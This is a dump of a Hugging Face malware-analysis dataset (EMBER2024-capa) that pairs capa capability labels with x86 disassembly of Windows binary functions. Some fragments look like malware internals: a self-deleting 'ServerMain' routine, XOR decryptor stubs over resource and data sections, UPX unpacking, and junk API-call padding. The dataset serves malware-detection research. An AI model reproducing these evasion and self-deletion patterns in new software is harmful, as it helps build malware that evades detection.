joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100049a8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov ecx, dword [eax]
mov ebx, dword [eax + 4]
jle 0x100049f8
push esi
inc cl
movzx ecx, cl
mov edx, dword [eax + ecx*4 + 8]
mov dword [ebp + 8], ecx
lea esi, [eax + ecx*4 + 8]
mov cl, dl
add cl, bl
movzx ebx, cl
mov ecx, dword [eax + ebx*4 + 8]
mov dword [esi], ecx
mov esi, dword [ebp + 0xc]
add cl, dl
mov dword [eax + ebx*4 + 8], edx
movzx ecx, cl
add esi, edi
mov cl, byte [eax + ecx*4 + 8]
xor byte [esi], cl
mov ecx, dword [ebp + 8]
inc edi
cmp edi, dword [ebp + 0x10]
jl 0x100049bd
pop esi
mov dword [eax + 4], ebx
pop edi
mov dword [eax], ecx
pop ebx
pop ebp
ret 0xc
Function at 0x1000512c
Capabilities:
Get common file path

Disassembly:
push ebx
push ebp
push esi
mov esi, 0x104
push edi
push esi
push 0x1009069c
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push esi
push 0x10090598
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x10090494
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, 0x100907a0
push esi
push ebx
push 0
call edi
mov eax, dword [0x10090aac]
mov ebp, dword [sym.imp.MSVCRT.dll__strlwr]
test eax, eax
je 0x10005187
push esi
mov esi, 0x100909a8
push esi
push eax
call edi
push esi
call ebp
pop ecx
push ebx
call ebp
push ebx
call fcn.100051a3
push eax
push 0x100908a4
call sub.MSVCRT.dll_strcpy
add esp, 0x10
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x10005315
Capabilities:
Set file attributes

Disassembly:
push 6
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret

Function at 0x100053a7
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx], 0x67452301
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x58], eax
ret

Function at 0x10005e78
Capabilities:
Accept command line arguments
Delete file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov esi, str.ServerMain
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x10005ec0
add esi, 0xb
push 0
push esi
call dword [sym.imp.MSVCRT.dll__access]
pop ecx
cmp eax, 0xffffffff
pop ecx
je 0x10005ec0
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x10005ea7
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10005eca
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x104], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp + 8]
pop edi
mov dword [ecx], eax
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
leave
ret 8
Function at 0x10005f3c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and byte [ebp - 0x10], 0
push edi
xor eax, eax
lea edi, [ebp - 0xf]
stosd dword es:[edi], eax
push dword [ebp + 8]
stosd dword es:[edi], eax
push dword [ebp + 0xc]
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
pop edi
jne 0x10005f8b
mov eax, dword [ebp + 8]
shr eax, 0x10
test ax, ax
jne 0x10005f83
push dword [ebp + 8]
lea eax, [ebp - 0x10]
push 0x100090b0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0xfffffffffffffffe
call dword [sym.imp.KERNEL32.dll_ExitProcess]
leave
ret 8
Function at 0x401087
Capabilities:
Create process on windows

Disassembly:
jmp 0x4022d0
sub esp, 0x54
push esi
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
mov esi, dword [esp + 0x60]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
push esi
mov dword [esp + 0x40], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [esp + 0x64]
test eax, eax
jne 0x40232c
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.MSVCRT.dll__unlink]
add esp, 4
pop edi
pop esi
add esp, 0x54
ret

Function at 0x407430
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5000]
push edi
or ebp, 0xffffffff
jmp 0x407452
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407459
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407448
mov eax, 1
add ebx, ebx
jne 0x40746b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40747c
jne 0x40749b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40749b
dec eax
add ebx, ebx
jne 0x407488
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x407460
add ebx, ebx
jne 0x407497
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4074ed
xor ecx, ecx
sub eax, 3
jb 0x4074b3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x407522
sar eax, 1
mov ebp, eax
jmp 0x4074be
add ebx, ebx
jne 0x4074be
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40748c
inc ecx
add ebx, ebx
jne 0x4074cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40748c
add ebx, ebx
jne 0x4074d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4074ce
jne 0x4074ea
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4074ce
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40750c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4074fe
jmp 0x40744e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40750c
add edi, ecx
jmp 0x40744e
pop esi
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x407574
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7370]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x73ac]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x407529
mov ecx, edi
jns 0x407558
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x73b0]
or eax, eax
je 0x40756e
mov dword [ebx], eax
add ebx, 4
jmp 0x407546
call dword [esi + 0x73c0]
mov ebp, dword [esi + 0x73b4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1cf]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4075a8
sub esp, 0xffffff80
jmp 0x4010e0
Function at 0x6a908640
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
sub esp, 0x34
test byte [0x6a9133c0], 8
jne 0x6a9086b0
mov eax, dword [ebx + 8]
test eax, eax
jne 0x6a9086e3
mov edx, dword [ebx + 0x28]
cmp edx, dword [ebx + 0x2c]
jb 0x6a9086a3
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 4]
cmp eax, 0xffffffff
je 0x6a908710
mov edx, dword [ebx + 0x10]
mov eax, dword [ebx + 0x14]
sub eax, edx
mov dword [esp + 4], edx
mov dword [esp + 8], eax
mov eax, dword [ebx + 0x4c]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__read]
test eax, eax
jle 0x6a908710
mov edx, dword [ebx + 0x10]
add eax, edx
mov dword [ebx + 0x28], edx
mov dword [ebx + 0x24], edx
mov dword [ebx + 0x2c], eax
movzx eax, byte [edx]
add esp, 0x34
pop ebx
pop ebp
ret
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], str.__p__n
mov dword [esp + 8], str.filebuf_underflow
mov dword [esp + 4], 0x6a9133c0
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_1
mov eax, dword [ebx + 8]
test eax, eax
je 0x6a90865d
lea eax, [ebp - 9]
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x4c]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__read]
test eax, eax
jle 0x6a908710
movzx eax, byte [ebp - 9]
add esp, 0x34
pop ebx
pop ebp
ret
mov eax, 0xffffffff
jmp 0x6a9086a6
Function at 0x6a9094c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, ecx
sub esp, 0x2c
mov esi, dword [ebp + 8]
test byte [0x6a9133c0], 8
jne 0x6a909568
mov edx, dword [ebx + 8]
test edx, edx
je 0x6a909520
cmp esi, 0xffffffff
jne 0x6a909500
mov eax, 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 4
mov eax, dword [ebx + 0x4c]
mov dword [esp], esi
mov dword [esp + 4], eax
call dword [sym.imp.msvcrt.dll_fputc]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 4
mov ecx, ebx
call sym.msvcirt.dll_protected:_int___thiscall_streambuf::allocate_void_
cmp eax, 0xffffffff
je 0x6a9095f9
mov eax, dword [ebx + 0x20]
test eax, eax
je 0x6a9095d0
mov edx, dword [ebx + 0x1c]
mov eax, dword [ebx + 0x18]
cmp edx, eax
ja 0x6a9095a0
cmp esi, 0xffffffff
je 0x6a9094e7
mov eax, dword [ebx + 0x20]
cmp dword [ebx + 0x18], eax
jae 0x6a909500
mov eax, dword [ebx + 0x1c]
lea edx, [eax + 1]
mov dword [ebx + 0x1c], edx
mov edx, esi
mov byte [eax], dl
jmp 0x6a9094e7
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], str.__p__d__n
mov dword [esp + 8], str.stdiobuf_overflow
mov dword [esp + 4], 0x6a9133c0
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_1
jmp 0x6a9094db
mov edi, edx
mov edx, dword [ebx + 0x4c]
mov dword [esp + 4], 1
sub edi, eax
mov dword [esp], eax
mov dword [esp + 0xc], edx
mov dword [esp + 8], edi
call dword [sym.imp.msvcrt.dll_fwrite]
cmp edi, eax
jne 0x6a9095f9
mov eax, dword [ebx + 0x18]
mov dword [ebx + 0x1c], eax
jmp 0x6a909545
mov eax, dword [ebx + 0x14]
mov edx, dword [ebx + 0x10]
mov dword [esp + 4], eax
sub eax, edx
mov ecx, eax
shr eax, 0x1f
add eax, ecx
mov ecx, ebx
sar eax, 1
add eax, edx
mov dword [esp], eax
call sym.msvcirt.dll_protected:_void___thiscall_streambuf::setp_char___char__
sub esp, 8
jmp 0x6a909545
mov eax, 0xffffffff
jmp 0x6a9094ec
Function at 0x6a909b20
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
mov ebx, ecx
sub esp, 0x20
test byte [0x6a9133c0], 8
jne 0x6a909bf0
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x6a909c50
mov edx, dword [ebx + 8]
test edx, edx
jne 0x6a909bd8
mov ecx, ebx
call sym.msvcirt.dll_protected:_int___thiscall_streambuf::allocate_void_
cmp eax, 0xffffffff
je 0x6a909c50
mov edx, dword [ebx + 0x2c]
test edx, edx
je 0x6a909c20
mov eax, dword [ebx + 0x28]
cmp eax, edx
jb 0x6a909bc2
mov eax, dword [ebx + 0x24]
sub edx, eax
test eax, eax
je 0x6a909c50
mov ecx, dword [ebx + 0x4c]
mov dword [esp + 8], edx
mov dword [esp + 4], 1
mov dword [esp + 0xc], ecx
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll_fread]
test eax, eax
jle 0x6a909c50
mov ecx, dword [ebx + 0x2c]
mov edx, dword [ebx + 0x24]
mov esi, eax
mov dword [esp + 8], eax
neg esi
sub ecx, eax
mov dword [esp + 4], edx
mov dword [esp], ecx
call dword [sym.imp.msvcrt.dll_memmove]
mov eax, dword [ebx + 0x2c]
add eax, esi
lea edx, [eax + 1]
mov dword [ebx + 0x28], edx
movzx eax, byte [eax]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll_fgetc]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], str.__p__n
mov dword [esp + 8], str.stdiobuf_underflow
mov dword [esp + 4], 0x6a9133c0
mov dword [esp], 3
call sym._wine_dbg_log.constprop.0_1
jmp 0x6a909b37
mov edx, dword [ebx + 0x10]
mov ecx, dword [ebx + 0x14]
sub ecx, edx
mov dword [esp], edx
mov eax, ecx
shr eax, 0x1f
add eax, ecx
mov ecx, ebx
sar eax, 1
add eax, edx
mov dword [esp + 8], eax
mov dword [esp + 4], eax
call sym.msvcirt.dll_protected:_void___thiscall_streambuf::setg_char___char___char__
mov edx, dword [ebx + 0x2c]
sub esp, 0xc
jmp 0x6a909b68
mov eax, 0xffffffff
jmp 0x6a909bcb

Function at 0x6a9112d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x6a911328
cmp byte [esi + ebx - 1], 0xa
je 0x6a9112fc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x6a91d264], eax
mov dword [esp], 2
call dword [0x6a913408]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x6a911980
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xfc
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [esp], eax
call sym.___wine_dbg_get_channel_flags
movzx eax, al
bt eax, esi
jae 0x6a911b58
mov edi, dword [0x6a91d264]
xor eax, eax
mov edx, dword fs:[0x18]
cmp dword [edx + 0x24], edi
je 0x6a911a67
test byte [0x6a9133e8], 8
jne 0x6a911b00
lea ebx, [ebp - 0xe0]
mov edi, ebx
test byte [0x6a9133f8], 8
jne 0x6a911ac0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call sym._sprintf_1
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x6a911a09
cmp esi, 3
jbe 0x6a911a78
mov dword [esp], 2
call dword [0x6a913408]
mov ecx, ebx
mov edi, eax
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
and edx, 0x80808080
je 0x6a911a1a
mov esi, edx
mov dword [esp + 0xc], edi
shr esi, 0x10
test edx, 0x8080
mov dword [esp + 4], 1
cmove edx, esi
lea esi, [ecx + 2]
mov dword [esp], ebx
cmove ecx, esi
mov eax, edx
add al, dl
sbb ecx, 3
sub ecx, ebx
mov dword [esp + 8], ecx
call dword [sym.imp.msvcrt.dll_fwrite]
add esp, 0xfc
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x6a917ce8]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.0
jmp 0x6a911a09
mov dword [esp], 0x6a9133f8
call sym.___wine_dbg_get_channel_flags
test al, 8
je 0x6a9119e0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call sym._sprintf_1
add edi, eax
jmp 0x6a9119e0
mov dword [esp], 0x6a9133e8
call sym.___wine_dbg_get_channel_flags
test al, 8
je 0x6a9119cb
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, 0x10624dd3
lea ebx, [ebp - 0xe0]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mul edx
mov dword [esp], ebx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call sym._sprintf_1
lea edi, [ebx + eax]
jmp 0x6a9119d3
mov eax, 0xffffffff
jmp 0x6a911a67

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x13dd3c25
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x432024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
mov ecx, 0x65eb2559
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x433f80
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x433fa3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x433faa
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x433fc1
mov edx, dword [ebp - 4]
push edx
call fcn.004358e0
add esp, 4
or eax, 0xffffffff
jmp 0x433fc3
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x433fd0
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x433fef
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x433ff6
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x43400d
mov ecx, dword [ebp - 4]
push ecx
call fcn.004358e0
add esp, 4
or eax, 0xffffffff
jmp 0x43400f
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x43b910
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x455178]
jne 0x43b91a
repz ret
jmp fcn.00441330
Function at 0x44b4e0
Capabilities:
Copy file
Set current directory
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa28
cmp dword [0x4df9bc], 0x37
jne 0x44b630
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x54]
push ecx
push 0x432b30
mov dword [ebp - 0x34], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_LocalLock]
push 0
push 0x432b38
push 0
push 0x432b58
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
xor eax, eax
xor edx, edx
lea ecx, [ebp - 0x20]
mov word [ebp - 0x10], dx
push ecx
lea edx, [ebp - 0x10]
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov word [ebp - 0x20], ax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov word [ebp - 0x12], ax
push edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push 0
push 0
push 0
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 0
push 0
push 0
push 0
push 0x432b80
push 0x432ba8
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
push 0
lea edx, [ebp - 0xa28]
push edx
push 0x432bb0
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0x432bd4
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x432bfc
push 0x432c38
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0x432c98
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov ecx, dword [0x4df9c0]
mov eax, dword [0x4dbfc8]
mov dl, byte [ecx + esi + 0x12336]
mov byte [eax + esi], dl
mov esp, ebp
pop ebp
ret
Function at 0x44ba20
Capabilities:
Copy file
Get thread local storage value
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa34
mov eax, dword [0x4dbfc8]
push ebx
push esi
mov esi, dword [0x4df9bc]
push edi
mov dword [ebp - 4], eax
cmp esi, 0x516
jne 0x44ba53
push 0
lea ecx, [ebp - 0xa34]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
shr esi, 3
mov ebx, esi
xor edi, edi
test ebx, ebx
je 0x44ba9c
mov esi, dword [ebp - 4]
cmp dword [0x4df9bc], 0x29
jne 0x44ba82
push 0
push 0
push 0
push 0
push 0x432a10
push 0x432a28
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
cmp dword [0x4df9bc], 0x1c
je 0x44baa5
mov eax, dword [ebp + 8]
push esi
call fcn.0044b8c0
inc edi
add esi, 8
cmp edi, ebx
jb 0x44ba61
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push 0x432a4c
push 0
lea edx, [ebp - 0x634]
push edx
push 0x432a88
push 0x432ae8
push 0x432b00
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0
push 0
push 0
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
push 0
call dword [sym.imp.KERNEL32.dll_FatalExit]
Function at 0x44bb20
Capabilities:
Copy file
Create pipe
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x32f0
call fcn.00440d90
mov dword [ebp - 4], 0
jmp 0x44bb3f
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x332beaf6
jge 0x44bbfe
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x4df9bc], 0x16
jne 0x44bb9a
lea ecx, [ebp - 0x474]
push ecx
push 0
lea edx, [ebp - 0x878]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0x432cd4
push 0
lea eax, [ebp - 0x470]
push eax
push 0x432cdc
push 0x432cec
push 0x432d04
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x4df9bc], 0x9e
jne 0x44bbee
push 0
push 0
push 0
push 0
push 0x432d34
push 0x432d50
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
lea ecx, [ebp - 0xd98]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
push 0
lea edx, [ebp - 0x1198]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
cmp dword [ebp - 4], 0x3775ee
jle 0x44bbf9
jmp 0x44bbfe
jmp 0x44bb36
push 0x455e60
call fcn.0044ba20
mov dword [ebp - 0x119c], 0
jmp 0x44bc23
mov eax, dword [ebp - 0x119c]
add eax, 1
mov dword [ebp - 0x119c], eax
cmp dword [ebp - 0x119c], 0x3e79e
jge 0x44bc64
cmp dword [0x4df9bc], 0x10
jne 0x44bc51
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x432dbc
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
cmp dword [ebp - 0x119c], 0x1e673
jne 0x44bc62
call fcn.0044b4d0
jmp 0x44bc14
mov dword [ebp - 0x11a0], 0
jmp 0x44bc7f
mov ecx, dword [ebp - 0x11a0]
add ecx, 1
mov dword [ebp - 0x11a0], ecx
cmp dword [ebp - 0x11a0], 0xdd9a7
jge 0x44bce9
cmp dword [0x4df9bc], 0xc01
jne 0x44bce7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push 0x432dec
push 0
push 0x432e04
push 0x432e14
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0x432e28
push 0
lea edx, [ebp - 0x15a0]
push edx
push 0x432e38
push 0x432e64
push 0x432e98
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
jmp 0x44bc70
jmp dword [0x4dbfc8]